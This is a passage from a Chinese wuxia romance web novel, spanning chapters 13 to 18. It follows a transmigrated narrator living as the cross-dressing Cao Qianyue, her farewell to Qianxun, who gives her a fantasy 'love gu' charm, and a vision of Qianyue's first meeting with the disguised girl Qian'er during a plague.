路上,我对她说:“想不到你的功夫这样了得!”宋帅自然是谦逊作答。但是,突然她被脚下的水迹滑到,幸好我在她身边,一把把她搂在怀里。在这瞬间,我和她是静止的,冷岩冷语是惊慌的。而就在这静止的时刻,我一抬头望见了,前方不远处的芊寻,手里端着药,呆望着这边。脸色,似乎不是很好。 而我,却想到了另一件事。哦,是这么回事呀。 当宋帅的脸从我胸膛移开后,我们四目相对,我张大眼,忍不住指着她惊奇地说:“哦,原来你。。。。。” 13、启程 原来你根本不会武功,我差点喊出这句话。但是,也许她只是怕我发现了她的女子身份,便一把用手温柔且迅速的堵住了我的嘴。这一幕就像是我在对她发誓:如果我日后有半点辜负你,就不得好死,而她像所有女人一样捂住了我的嘴。感觉,好暧昧。。。。。。 望着她有点惊慌着急的眼睛,我竟说不出半个字来。冷岩冷雨也恐夜长梦多,便赶快拉着宋帅丢下一句,“公子好生休息,我们自行去厢房便可。”就一溜烟跑了。我该不该跟娘说呢?正想着,芊寻走过来,把药碗递给我,温婉的问:“还在回味呢,刚刚那一幕,真的很美好!”她眼中闪有一丝哀伤。什么呀,“不是你想的那样,我觉得很奇怪罢了,她似乎。。。”我把我的感觉一五一十说给她听,无需困惑,因为她是我完完全全相信的人。 芊寻,微微皱了皱眉,但是还是转告给我娘的话,娘今晚要我去找她,有要事。这下可糟了,如何和她说呢?我倒是很想和宋帅一行人一起,但是如果真有重要事要我们做,这样的情况必定会影响全局。唉,该怎么办呢?我和芊寻无声无息的走着,突然她转向我,用手轻轻抚着我的额头,微笑着说,“不要皱眉,娘自有安排;再说,我会永远陪在你身边的,你皱眉我会心痛的,乖了,”她的手温暖轻柔。说完,在我的额头上轻轻吻了一下。我红着脸,笑了。 晚上,圆月如玉盘,而月色如蕴。我带着宋帅给我的顾虑、芊寻给我的安心,这样矛盾复杂的心境叩响了娘的房门。娘好像正要出来,便带着我来到院子里,在这一地月光的庭院里,我渐渐的知晓了曹家的一些秘密。 娘递给我一个淡蓝色的锦囊,说:“拿着这个,去找师傅,他也是我师兄。他或许可以救你一命”为什么,我问。娘转身告诉我:“解铃还需系铃人,伊帝神功是我门藏月派的独门武功。然而自先祖创始至今,没有人能够控制得了,也没有人能估量它会达到何种境界。但女子修炼却比男子威险许多,可是往往也得到了更高的境界。” “师傅,就可以了嘛,师傅他。。。。。”我问。 “谦月的师傅是布袋和尚,你了解一下也方便打听。”什么,谦月和我怎么会在娘口中变成两个人了。难道! 娘接下来的话证实了我的惊异,“不管你是谁,现在的你,今后的你都是谦月。你们拥有同样的灵魂,相似的品格心性,你成为了她,我这做娘的也就安心了。”果然,和我的猜测一样,但我还是问了一个也许谦月的心里都早有答案,却始终没有问出的问题“为什么,已经有男孩了,谦月还得对外不能是女孩呢?又为什么她会练了不该练的功法?”娘闭上眼睛泪水溢出眼底,她苦笑着摇头说:“梦绮、谦月本是连生兄妹,但是因为我早年在师门时心脉受损,所以他们兄妹二人无法足月,出生时大夫说只能活下一个,而月儿的身体比梦绮好,曹家老夫人又想要男丁,所以我只能说是双胞胎男孩,那时谦月的父亲又刚刚立了战功,太奶奶就给谦月请了封号。再后来……”娘深吸了一口气,似是需要平复情绪,“我的同门师妹,也就是你师叔,怕我心里难受,就找来了灵药,能让婴儿身体强健些,可是却也只有一份,我终究……不能不为曹家血脉着想,只好给梦绮吃。练伊帝神功。。。。绮月她……你的师叔,也曾练过而且造诣深厚也未反噬,她亲自传授照顾,又让谦月的师父为她制药调养,本来谦月的身体已经大好了,没想到后来和芊寻的际遇却。让伊帝攻变成催命的毒。你师叔也因此自责,不肯见我,今时今日,我只能对你们说抱歉。。。。。。。” 娘已泪流满面,泪水无声无息的掉落。而我,也被这些预料到的,以及无法预料的到的一切一切惊得身体颤抖不已。曹谦月,我终于知道芊寻为何成为你唯一的心灵依靠了。在我生活的时代,尚有因为重男轻女思想而不幸福的女孩,你的母亲虽然爱你,却也不得不选择把生的希望给你的哥哥,还有居然也会同意他们偏娶芊寻?可是看着身旁哭泣的母亲,一个向来坚强、强势的女人,因为自己的错,让两代人纠结在一起,而她自己想必也是非常痛苦的。我扶她坐在石椅上,自己坐在一旁。 渐渐的平复了,娘面色苍白,但对我的眼光依然满是怜爱,“可以叫我一声娘吗?”也许她也是可怜人吧!也许这个人也很疼爱谦月!?我拥抱着她,轻轻唤了一句娘。我能代替谦月接受这十几年来的道歉吗?她的心伤能抚平吗? 我们继续聊了聊,说道曹家,说道师叔、师父,也说道芊寻。当我问她何时看出我不是谦月的,她回答“从第一眼见到你,你看芊寻的眼神,有怜,有惜,甚至也会闪现出爱,但唯独少了谦月的那种痴、还有那种难以言说的苦楚,隐忍。”我惊异于母亲的洞察力,或许每个母亲都对自己的孩子了如指掌。但我又有疑惑了,芊寻和谦月的感情至深,怎会没发现我的异常呢?大娘笑了,“谦月眼中的痴,难道你没有从芊寻的眼里看到吗?她怎么会相信,或是愿意相信谦月变了呢?谦月就是谦月,更何况,你和谦月有同一颗心,她是可以看见谦月心的人” 娘站了起来,走了几步说,“你们之间,如果没经历那些事也许不会有交点,但是你们不会得到祝福的,就像当年。。。。。。”娘停住了,望着月亮,但很快又转向我说,“我们都尽力阻止过了,还把她嫁给了你大哥,没想到这只是让你们更加痛苦。人生难料,将来会如何,没有人知道,但为了芊寻,为了谦月,为了我们,你要努力活下去。不管,将来你变得如何,你对芊寻有什么样情感,你都得活下去。” 可是,我毕竟不是真正的谦月,我也会爱上一个女人吗?也许不会的。她们的故事谁能进入呢?我可以变成她的月儿吗?我低头沉思,叶心像是想起了往昔的什么,她缓缓的说:“伊帝神功谁也没有练的像个样子,也只有。。。。。”声音很小,说这话时娘再次仰望夜空,对着月亮怅惘。我问,那师傅练的好吗,必竟他是我的救命稻草了。但是娘摇摇头,不会吧。娘接着说:“他修炼的是养生之术,所以功夫不能算好,只是身体气血顺畅,康健。所以,或许可解治你的脏腑之伤。但这只是一个愿望而已”。哦,死马当活马医呀。 “对了,那个保镖”,我还是得和娘说说。娘笑笑说:“她们呀,身份定是不一般,一路上对你是有益无害的。虽说那少年不会武功,但他手下的冷岩确实绝世高手,今天多亏了他,那公子才得以取胜呢;还有,冷语似懂医术,这样芊寻不去,她也可以一路上照顾你。”原来娘早看透了,但是,为什么芊寻不能陪我呢? 娘说:“你们自相识以来几乎天天在一起,现在想想如果不这样,你们会怎样呢?给彼此时间想想清楚,你需要了解过往,而芊寻则需要把对谦月的感情沉淀一下,明白自己的心。你们都需要时间。再者,万一你此去不归,芊寻必定以死相随。对不对。所以,你们分离一段时间会比较好。” 是的,我们都需要冷静些。 娘没再说什么,夜深了,她要我赶快去休息,明天一早动身。我实在推不过,只得离开院落。我离开前,看娘一个人望着月亮。她在思念着什么,思念着谁?娘,你发觉了吗?你在看着月亮的时候,眼神很温柔呢,那是一种心中很幸福的感觉。虽然,只是朦胧可见,但还是很容易感觉得出。您心里藏着怎样的故事呢,还有你和师傅,师叔,爹又有着什么关联呢? 我走在月光下,心里沉淀着刚刚的一切,想着想着,全无睡意,漫无目的的走着。当我路过一个拱门时,竟看到了芊寻坐在月下的石凳上,似乎在捣药。还没睡吗?真是的,想着她就见到她了,大概是心有所想,脚有所向吧。明天,我们就要离别了,我心里涌着复杂的思绪。我向芊寻走去。 月光下,我们渐渐亲近! 14、情蛊 芊寻的白锦衣被月光映衬成亮银色,望上去,像一道寒光,把她那瘦弱的身影显现的更加孤凉、凄婉。我走走停停地向她走去,看到她一手拿着药锤捣药,一手轻轻的捶了捶肩膀,一直在忙吗?太辛苦了。我不自觉的加快了脚步,谁知在离她两米远时,她竟抬头轻轻唤了一句:“月儿”,说着便急忙转过身来,看到我,她笑了,那种柔美和月光融合为一,我被震惊得停了片刻。 她责问我为何不敢快去睡,但是语气里快乐更多一些,此刻她也在想念我吗?我快步,在她站起身前冲到她身后,双手按在她肩上,为她做按摩,既有好奇,也有责怪的问:“还说呢,你怎么也不睡,而且忙什么忙到现在?”她还是没有停下,我看了看她手中的药,没太看明白,但是却闻到了茉莉花的香味儿,虽然茉莉清雅,但是现在却浓郁了许多。芊寻将手搭在我的手上,拉着我坐在她旁边,“我要把你这段时间所有的药方都弄好,还有把制出足够的“茉问”,不然你什幺药也吃不进去,怎么办。”她一边说,一边还是在继续捣药。我望着这样执着的芊寻,心忽然好疼,我想起了娘的话,想起了我们明天的离别,我的身体还会允许我们再见面嘛? 茉莉花的香气像月光一般散满了我们心里的每个角落。 我想叉开话题让芊寻休息一下,所以便问了:“娘的安排,你觉得。。。。。。。”芊寻皱了一下眉,但还是笑了,“只要对你好就好,我们,我或许需要留在这里,只是,你不知道要走多久,但是,无论结果如何,中秋节前,你一定要回来,陪我去“望竹居”,我们说好的,每年都去住三天。你一定要信守诺言,一定。” 她捣药的速度加快了,动作显得杂乱无章,还是乱了方寸,我感到她在颤抖,微微地,不停地颤抖。我,会活着回来吗?芊寻,我并不知道你和谦月的约定,我也不敢承诺什么,因为,一切都由不得你我。 我再也忍受不了,我的泪水即将倾泻而出,但不可以,绝不可以让芊寻看到。我笑着,尽最大努力笑着说:“没事的,照着娘的安排,我一定可以找到师傅,到时我的伤就会全好了。然后,我们一起活到一百岁,好不好。”好难,笑着哭,泪水,请你不要落下。“所以,为了活到一百岁,芊寻,你要早早去休息,这些茉问够用了,乖,听话,熬夜生病了,我可要罚你了。。。。”我的语气轻松,但是她似乎还是听的到我的心在哭泣。 我本来已经扳着她的双臂把她往屋里送,但她却拉着我的手将她环抱在我的怀里。我的手交叉在她的两腰边,她的手指夹住我的手指,更紧的让我抱着她,心跳是那么的亲近。她的肩抖了起来,终于哭了,“月儿,真的好想让你走,去找到那唯一的一线生机;但,我又自私的不想让你离开我片刻,我怕放开了你的手,就再也找不回了。好害怕,好害怕你死在我眼前,可是,我更不想让你一个人孤单的离开,我想无时无刻不陪在你身边,哪怕最后。。。。。。”芊寻泣不成声,只是反复呢喃着,一定要回来,千万别死,千万。。。。。。 我的泪还是弄湿了她的头发和衣襟,芊寻,我该怎么做,该怎样对你,你这样一个让人心疼的爱人,我该如何去成为你的月儿。我,能做的只有轻轻的吻着你的头发,把你抱的更紧,然后等待离别。也许,会带着你的月儿回来,也许。。。。。。 月色西行,天已经不再是纯正的墨色,就要到了,我们的别离。 芊寻终于转过身来,看着我,眼中的泪还未干。握着我的右手放在她的脸上,静止片刻,将我的右手摊开、手心向上,这时我发现了,我的右手掌心有一块圆形的伤疤,很深很深,连通到了手背,以前怎么没有注意到呢,这看来是老伤了。芊寻一手托着我的手,一手覆盖在上面。 好凉,一丝寒气进入我的右手,凝聚于掌心那道疤,随即便没有任何感觉了。我问芊寻这是什么?芊寻淡淡的笑了,“是蛊毒,情蛊。”蛊毒?毒。为什么,芊寻看出了我眼里的疑惑,接着笑道:“是让你只爱我一个人的情蛊,让我们永远在一起。这一路,你和她朝夕相处,万一你爱上了那个绝世美人,我该怎么办”再说宋帅吗?怎么扯到她身上了,但是芊寻的心情似乎平复了许多,语气里竟有了这样开玩笑的醋意。我叹了口气,随你怎么想吧。但是,这蛊真的是这样的功效吗? 正想着,鸡叫了,天马上就要亮了。芊寻又一下子扑进我怀里,紧紧地,紧紧地抱着我,轻轻的但是坚定的说:“千万别死,就算现在分离了,但无论是地府还是天国,我都会随你一起。”我第一次,用脸那样细腻的贴着一个人的头发,轻轻的摩挲着,这样暧昧的姿势过去的我想也没想过,但是此刻,我却希望和芊寻在抱的近一些。我对芊寻说:“为难的倒是你,留在京城要小心大哥他们。。。。。。”没等我说完,芊寻笑了,只是感觉,她笑得无奈,哀婉。她平静的回答,“我不会让他再碰到我,就连影子也不会。” 接着她抬起头,眼睛中已经没有了泪光:“我等着你回来。对我而言,这世上只有两种地方:有你的,无论怎样都好;没有你的,怎样生活都无所谓了。” 一次一次的,我被这名女子的告白震惊,我的心早就不再平静了。只是,如果有人这样爱我,我真的会爱上这个女人的。但是,生命即将燃尽的我还能如何。也许大娘说的对,我们需要时间,也许经过时间的沉淀,对我们都好。我回得来自然好,也许到时我们的心里就有了答案。但是如果我无法回来了,那么总有一天,芊寻会忘了伤,忘了爱,拥有自己的幸福。所以,分别势在必行。 天亮了,我被娘送到到门口,一个时辰前才和我分开的芊寻为我亲自置办的一切,竟有两大箱,里面有“茉问”、她亲手做的糕点、衣物等等,能想到的都想到了。再见到芊寻时,她披着朝露,脸色被映的有些红蕴,但是实际上是苍白的。她交给我那块紫玉蝴蝶,说:“从我出生起她就陪着我,你一直不肯要,今天,一定要带着,就像我在你身边一样。”她声音很低。我看着她再看看蝴蝶,想起了好多事。同时我注意到了我的右手,手心手背的疤痕变成两个红点了,情蛊,等待。。。。。 我握着紫蝶,望着芊寻,心中默默道着珍重。 突然,宋帅不知从哪里跳出来,对芊寻说,“嫂子,放心啦。我会保护好曹大哥的,一定把他好好的带回来。”她出现的还真是时候,阻止了分别时悲情气氛的蔓延。 而且她也太夸张了,居然准备三大马车的行李。你以为去环游世界呀?我心里这样问,什么气氛都没了。最后,经过商谈对峙,我们留下了两辆马车,一架装东西,一架我们乘坐,当然,装物的那辆我们一半一半,我可不想丢下芊寻的心意,宋帅也是死不放松。才满载而出。 到了车上坐好,娘来到窗前叮咛了几句,芊寻却没有再跟过来,只是远远的望着我,这一刻,我才又有舍不得的感觉,我要走了。马车渐行渐远了,在她们的样子模糊之前,宋帅一把拦住我,“曹大哥,放心,我们很快就会回来的。”说是如此,但是谁知道呢?然后,她开始和我谈天说地。我知道,远行使她很兴奋,但我和芊寻和娘的离愁使她不得不喋喋不休的转移我的精神。总之,我没有再回头看。 其实,我永远也不知道,背后的芊寻是以怎样的眼神看着我离开的,我永远也看不到她对我的深深的凝望,那望眼欲穿的期盼,那痛彻心扉会呼吸的痛楚。直到多年以后,我送她离开时,那种疼才深刻的被我理解。。。。。。 出了京城,借着月色马车仍在行驶,在一个湖边,我们决定休息一下,明日再行。在睡觉前,我拿出了两样东西,一件事芊寻的紫玉蝴蝶,对着月光,像是看到了芊寻温婉的脸。好久之后,我才把她放回怀中,会再见的,我对自己发誓。 另一件则是娘给我的荷包,她说这个可以让我更好的了解谦月。我想了想就打开了,里面有两颗球型的红色檀香,一取出来,便奇香扑鼻。还有一张纸上面写着用法,原来是曼珠沙华的结晶之物,她又名:地狱花,带有一种奇特的香味。相传可以让黄泉路上的人闻到便想起前世的一切,就算喝了孟婆汤过往也依然会清晰再现,真的这样神奇吗? 我点燃了她,只是闻到了一袭又一袭的香,但是身体却不那么听话了,渐渐的我的意识模糊了,我倒在地上。逐渐看到远处一个白色身影向我接近,越来越近了。终于,我看到了,我瞪大了眼,不敢相信眼前的一切,站在我面前的不是别人,正是,和我同生同心的曹谦月。此时她一身白衣,没有梳发髻。我的意识在恢复,但是身体却重的要命,动不了,该死,我有话要对她说。可是,怎样也不行,而她却以转身要离开。我拼了命的转过来趴在地上,大喊:“谦月,你别走,你走了,芊寻怎么办,她没有你怎么活得下去,快回去,回到她身边,求求你。。。。。。”我不管她回来后我会如何,消失也好,死也好,至少她和芊寻可以在一起了,我希望她们幸福。 我努力向她爬去,好重好重,根本动不了。但是她终于停了下来,慢慢转过身,说:“想看看,我和芊寻的故事吗?” 15、镜花水月 当然,我,想了解芊寻的过去,她的快乐,她的忧愁,她的一切,她和谦月之间所发生的一切。 我点了点头,谦月笑了,笑容里有一闪而过的苦涩。是的,那是她们的故事,她们梦的开始与终结的过往,再回首会是开心多一些还是痛苦多一些呢?我们又有谁知道答案呢? 她似乎强忍着泪:“跟我来”,说完就头也不回地走了。突然,我似乎变得轻了许多,一用力便站了起来,快步跟上了谦月的步伐。我们快步走在月光渲染的森林之中,一切都是柔和而细腻的,只是夜莺不肯安静,还有很多动物在周围慢慢的攒动,气氛时而诡异,时而舒缓。我们要到哪里去呢,去找芊寻吗?她们如果相逢了,不知会是怎样的场面。 突然,一只猫头鹰向我飞来,张着利爪。我躲是来不及了,只是下意识的用手臂挡住脸,但是,我感到了它从我身体穿了过去,而我却没有受伤之感。仔细一看,天呀,我竟变成了透明的人了。现在的我和谦月一样,变成灵魂了。 刚才的我尽全力站起,竟让我脱离了身体。但如今管不了那么多了,我静静的跟着谦月,我想让她回到芊寻身边。 终于到了一座峡谷,谷中央是一条湖,我们停在湖边,谦月取出一块铜镜抛在湖中,铜镜在水中反射月亮的光芒,变得夺目耀眼,让人不敢俯视。这时,我身旁的谦月蹲下身,将手中的一朵茉莉花慢慢的放入水中,花悬于铜镜之上,渐渐的沉入水中。镜花水月,这样就回得去了吗? 我望着水里的月影花影,被身边的谦月拉着慢慢地向水中走去,冰冷的湖水渐渐包围、噬了我们。当我完全置身水中时,竟惊奇的发现铜镜悬浮在我们的头顶,并且旋转不停,弄得湖中时明时暗,渐渐的,这光芒让我失去了意识,只是眼前不断闪着光,湖水凉凉的,冰入肺腑。 。。。。。。 湖水真凉快,谦月把沁在水里的脸扬起,看看周围的山色,心情稍稍好了一些。这酷热的天快把人烤炸了,加上还有好多事要去处理,唉,谦月觉得生不如死,只有刚刚那片刻的清凉与宁静是舒心的。上了马,便朝永州赶去,哥们成亲不能不到场祝贺,虽然礼已经先行送到了,但是他再三要求,所以谦月还是来了,算是突然袭击,更是为了缓解一下心情。 不难看出马上这个意气风发的少年心中有愁事。她是谁呢?她正是大宋鲁国公之后,当朝神威将军的次子、一出生便被册封的明月公子------曹谦月。好个名门之后,那么到底何事使她这样犯愁呢?其实他心里的事多了去了,与其说是公子,到应该称是大小姐才对。不知什么原因,从记事起她就被纤云甲束着,所有人都以为她是男子。从小就有一个冷脸女大侠说是自己师叔,逼自己练什么伊帝神功,好在谦月喜欢这舞刀弄枪的感觉,所以别看她才刚满十六岁,就已经是绝顶高手了。但是,却很少有人知道。在家里,大娘很少让她走出静怡苑,自然也就没有朋友了。可是,十几岁的孩子哪会那么听话呢?她早就习惯偷偷跑出家门,浪迹天涯了。反正,在天下人眼中曹家二公子还好好的在家中静养呢?只是江湖上多了一个“叶月”而已。就连今日去恭贺的新人,也正是她闯荡江湖时结实的生死之交,自己还成了他的玉衡宫宫主,可谓是与一人平起平坐,凌驾于千万人之上了。 其实谦月的人生到目前为止一直是如有神助,顺顺利利的,就算有难也能得贵人相助逢凶化吉。直到昨天,谦月十六岁生辰,她听到了娘和师叔的争吵,原来从出生起就没见过的师父,给自己留下了命批:活不过十七岁,过得了十七再去找他。不会吧!自己明明是有神功护体,长命百岁根本不成问题,为什么,活不过明年呢?还有,因为自幼装病的原因,父亲此次去军中只带上了比自己大一天的哥哥。谦月,真的好想去。她认为自己作为男孩就好了,可以为天下苍生造福,所以欣然接受女扮男装的事实,并且连心也变得和男子一样,拥有鸿鹄之志,胸怀似海。可是,到头来自己却什么也做不了。千头万绪萦绕心间,苦闷的很,所以索性就又跑了出来,一是参加婚庆,一是散散心。 终于到了永州郡下属的天霜岭,在向前走一里地,就到乌山了。可是一路上的气氛让她的心情更加抑郁了。本该有人耕作的土地现如今是荒芜一片,路上也频频出现尸骨,真是哀鸿遍野。谦月很奇怪,又不是荒年,怎么会有如此景象。皱着眉,继续前行,渐渐的看到了人影,有的用车推着老母亲,也有瘦弱的母亲带着孩子的,她们都风尘仆仆,无精打采的,个个像是行尸。突然,有个妇女昏倒在谦月马前,谦月忙下了马,扶起她,把自己水囊里的水给她喝了,那女子的孩子也跑过来喝水,谦月便问她们为何要赶路。 原来是她们的镇子糟了瘟疫,加上天气闷热,疫情扩散得很快,转眼间周边城镇也糟了殃,死者不计其数,人人惶恐,只好背井离乡逃难了。谦月想也没想就取出钱袋给了她们足够的银两。谁料,周围的人也围了上来要她施舍,谦月觉得她们也不容易,就索性分文不剩的把钱全给了她们。继续前进,没想到有些人又围了上来,谦月说自己真的再没有钱可给了。但是,那些人却跪了下来,大喊:“恩公,切莫再向前行,前面的乌云镇是疫魔横行之地。您前去会丢了性命的,请恩公千万不要再向前走了。” 谦月笑笑说:“前面是我的必经之路,怎么绕的过呢?再者,也不能放着他们不管呀!没关系,我身体好的很,而且身上也带有些灵药,无碍事的。你们赶快找个地方安定下来,不要再四处乱跑了,以免传染或感染瘟疫,快去!”人们的劝阻没有用,谦月还是一挥鞭向前奔去。逃难者也很听话的又开始赶路了,只是默默地为这个人祈祷。 16、瘟疫 到了乌云镇,疫魔带来的衰败随处可见,冷清的街道上时时被风卷起的枯草缠在谦月的脚上。谦月牵着马看着周围的一切,破落的门窗,随处倒着的、面容憔悴的人们。大多是老弱妇孺,有的亲人病了走不了了,只得留下来照顾,缺衣少食的,人的体质下降到了极点,加速了疫情的蔓延。谦月叹了口气,该如何帮助他们呢? “公子不要在此地犯愁了,还是快些赶路吧!”谦月一看旁边有一位虚弱的老者,竟然劝自己离开。谦月赶快上前,看到老者气喘吁吁,便从井里打了点水给与他喝,他忙说谢谢接过了。 谦月并排与老者坐下,聊一聊此时此刻当地的情况,老者说瘟疫闹了快半年了,死的死,逃的逃,好好的村子就这样毁了。他们这些人身体本来就不好,现在更是拖家带口的寸步难行。说着,老人要起身回家了,本是想出来找点吃的竟然累倒在路上了。谦月也起身要送他回去,老人连连拒绝,劝她快离开。但谦月坚持,她们便一边走一边又聊了起来。问及谦月的去处,谦月回答:乌山。 老人笑着说:“也是来找雪医提亲的吗?”谦月一头雾水,问道:“乌山上不是只有个武林教派吗?怎么会有什么雪医呢?”老者咳了一声,道:“公子有所不知。”原来这乌山分阴阳,谦月曾去过的是阴乌山,而阳乌山上住着个神医。从南从北来的人有时只知其一,不知其二。“公子不必为我们担心,有人照顾我们的,”是吗?有这样的好人吗?谦月想结识这样的仁义之人,于是就继续打听起这人。那个人,天天赠医施药,还亲自照顾无人管的病人,被人称为菩萨。 走着走着,来到一个小茅屋前,忽听屋里听得一声:“不好,我得快些回去了,大娘吃了药快好好睡一觉休息,我明日再来。”声音有生气但有些漂,原来是急着跑。谦月和老者来到家门口时,一个蓝衣少年飞快的跑出来,和谦月撞了个满怀,他很快的离开谦月的胸膛,对老伯笑了一下,便匆匆离去了。谦月连脸都没看清,想去追。老人却突然咳得要命的厉害,无奈,谦月只好扶他进屋去,看了一眼那少年的背影,很是遗憾。 进了屋,老人喝了桌上的汤药,旁边床上躺着一位老婆婆,脸色算是较好的病人了。“您刚刚说的好心人,就是那个蓝衣少年吗?”老人点点头,讲起了他,他叫千儿,据说是雪医的门童。刚刚闹瘟疫的时候没人管他们,只有他只身一人来到了这里。谦月问:“是雪医派他来的吗?”,但得到的答案模棱两可。谦月之所以没听过雪医的名号,是因为他已经金盆洗手搬来这里十六年了。雪医本姓孙,名墨寒,相传是前朝药王孙思邈的后人,原是太医院首,曾用冰冻之法将皇太后的死期拖延,并终于将其治愈,便成了名扬天下的:雪医。一生显贵,但不知为何十六年前突然辞去一切职务,带着一家人来了这里,在乌山上建了“绛雪阁”,并在乌山上种了很多珍奇植物,还有珀竹,远望上去满山的茂树返照阳光,像是一片雪色梦幻之域,十分光鲜美丽。这山也因此得名阳乌山,也叫雪域,还引来无数野兽动物在山上生息。那山上,村人是很少上去,没胆量冒犯那脾气古怪的神医、更没胆量惹那些兽物。所以最近几年连打柴的、狩猎的也很少有人去了,因此变得冷清着呢! 至于千儿是不是雪医派来的,很难说。因为雪医到了这里不久就“折银针”盟誓此生再不行医救人。他的后人也仅剩一个不满十六岁的孙女,出生不久父母便暴毙而亡,雪医虽心灰意冷,但还是将一切希望赋予在孙女身上。据说,那女孩已经出落得有倾城绝色,才艺双绝,并且深得雪医精髓,医术不可估量,可谓千万中难寻出一人。但是,她却没有姓孙,也许是雪医太过于迷恋自己的名声,就给他唯一的孙女起名为雪芊寻。今年,求亲的人海了去了,雪医只得召开招亲大会公平选婿。难怪刚刚老人以为谦月是来提亲的。 再说那千儿,他的医术也是很精湛,开始没有人相信他,吃了他的药虽然不能痊愈但却有了缓解。他说:只是缺少几味药,不然一定可以根除这场瘟疫。否则,即使是雪医出诊,也会一筹莫展的。但是,千儿每天停留的时间很短,总是匆匆来匆匆去。真是辛苦了这个好人! 越听越觉得好奇,谦月安顿好老人,便漏液前往雪域山,去拜访雪医,寻求破疫之方,在来要会会那位只有半面之缘的千儿小兄弟。 突然,马儿一惊,谦月掉进了一个陷阱之中。想必是以前狩猎的人留下的,足有一丈身,谦月有轻功自然伤不着,看看周围漆黑一片,微微从遮盖的草缝里看到了月光。天色已晚了,登门造访打搅就不好了,雪医脾气那么怪,万一把自己赶出来,也太丢脸了,还是休息一晚,明天一早前往吧!想着,谦月便一下子躺在铺满柴草的地上睡着了,等待她的会是什么呢? 17、雪域仙缘1 仿佛是在梦里,谦月听到了一声喊叫:“啊”,接着就是真真实实的疼痛,好像被巨石锤在了身上一般。“啊”谦月也发出了一声,赶忙张开眼,阳光好刺眼,谦月用手遮住眼睛,天已经亮了吗?刚才做了什么梦呢,怎麽会那样难受?一边想着,一边用双手支着地要起来。这时,她才知道,一切都不是梦。 自己的身上居然趴着一个人,定睛一看竟是自己想见的千儿。谦月抬头望了望上面,原本铺的好好的伪装稻草被弄出了一个大洞,阳光就这样从这洞口肆无忌惮的射了进来,而罪魁祸首就是在胸前安详昏迷的小家伙,想必他一定是急着赶路一不小心掉进了陷阱,还不偏不倚的砸在了谦月身上。幸好谦月穿了纤云甲,减轻了伤害,加上内力护住心脉,不然换作别人一定会吐血而亡的。这让谦月想到了天桥上表演胸口碎大石的人,真是悲惨。但转念一想,这千儿如不是落在了自己身上,必定会跌伤了脏腑。谦月蕙心的笑了。把他抱在怀里,轻轻的拍了拍他的脸,想她快点醒过来。但看着怀里的人儿不禁让谦月有些呆了。 他的脸好白皙,触上去像是碧玉一般细腻剔透,长长的睫毛,精致小巧的鼻子,仿佛一点樱红的嘴,真是个比女人还美的小兄弟!正在她痴痴地看着千儿时,千儿忽然缓缓的张开了眼,谦月晃了晃头恢复了平静,对视了片刻就被千儿推开了。“我怎么会在这里,你是谁?”他很慌张的问,谦月摊开手,“我也想知道,你可是从天而降呢!”那少年把手放在头上,闭上眼想了想,然后恍然大悟道:“哦,我是在去乌云镇的路上,掉进来的,这里应该是在珀竹林附近。我们快想办法出去吧,我有要事去办,可是。。。”一边说,他一边抬起头,看看这足有一丈高的洞口皱了皱眉。 的确,一般人是不可能攀得上去的。谦月走了过来,问了句:“我可以抱你吗?”千儿惊呆了,瞪大了眼望着她。换做别人谦月问都不会问,一下子就会卷起他飞上去,但是,眼前的人令她有些害羞和介怀,她把千儿当成小女子对待了,所以只得这样问。她们都红了脸,谦月赶忙说:“有什么关系,反正都是男人,别扭捏了好不好。”说完冲过来一把揽住千儿的腰,脚下一用力就跃到了地上,待两人站稳谦月赶忙放开了手。 接着像没事人似的跑到溪水边洗脸,不知道那陷阱以前是不是抓到过野猪,居然臭烘烘的,唉,衰死了!一边洗,她一边唤千儿也过来,千儿,犹豫了片刻,便挺了挺肩膀,大步走了过来,蹲在她旁边洗手。谦月无意识的看了千儿在水中的倒影,还是那么秀丽。而且,他身上没有什么臭味,除了草药味以外,还隐约可以闻到一丝丝香味,谦月一边更靠近的嗅着,一边问道:“千儿兄弟,你的身上怎么这么香呀?”千儿没有注意到她的接近,只是回答说:“你自己不也是吗,有一股茉莉花香。” 谦月自由喜欢茉莉花,所以大娘总是在为谦月做的荷包里装茉莉花瓣,平时的衣物里,饮食里,沐浴起居里也随处可见。虽然,茉莉花香味易散失,但久而久之,谦月身上在就融入了着淡淡的清香,只有这一点使她还像个女孩儿。没想到别人家的儿子也有这样的特点,进一步接近,谦月还看到了千儿的耳洞,被当女孩吗?不会吧?等等,再看看他有些凌乱的鬓角、发髻,即使自幼假扮男子的谦月的额、鬓也是棱角分明,而他宛然不常这样梳头发。加上那清洗时的妩媚身姿,如此骄人。这样的话就只有一种可能了,谦月脱口惊呼:“你不会是女人吧?”千儿这才转过来急忙说:“才不。。”没说完,只见谦月和自己几乎是零距离接触,差一点就亲上了。他一慌便一把将谦月推到水里,然后在岸上气的直跺脚,对着谦月大叫:“女人又怎么了,讨厌!”那模样更可爱了,谦月游在水上笑了,对着千儿说:“你是女人的话,我就娶了你这美人。哈哈哈。。。。。”谦月一边开玩笑一边用水洗了把脸。笑自己,既然对方是女子的话,应该就不会再有心动的感觉了吧。 但是事与愿违,上天既然安排她们相遇,又怎么会让她们的缘分到此为止呢? 千儿不理她了,一转身向山下走去,谦月想静一会在跟去吧,看样子那丫头是真的生气了。 可是,千儿消失在她的视线没多久,就传来了呼救声。那小家伙怎么了,谦月跑出了水面,但接着传来的狼嚎声让她浑身毛骨一紧。不好,千儿危险了。在深山里,狼是最不好斗的,所谓,好虎斗不过一群狼。它们极其凶残又成群结队,单个人遇见根本无法生还。 谦月用轻功飞快的往那赶,还好千儿身上有点毒粉,她不停的挥舞着,使狼一时还不敢接近她,但很快就要山穷水尽了。而一只狼从她身后的斜树上悄悄的接近了,终于向她扑来。千儿这才听到声响,已经晚了,只是双手抱着头等待袭击。但是,紧接着传来的却是狼的惨叫声和温柔的话语:“女人,现在还是那么讨厌我吗?” 18、雪域仙缘2 是的,谦月赶到了,一掌击飞了饿狼。此刻,她正站在树上看着千儿,笑着。这样的对视,让千儿有点不知所措。谦月一把拉起她,飞快的跑,一边跑一边用手吹了个口哨。随之远处跑来一匹黑色的马,谦月把千儿抱上马,说了句:“丹儿,走”,那马便开始飞奔起来。 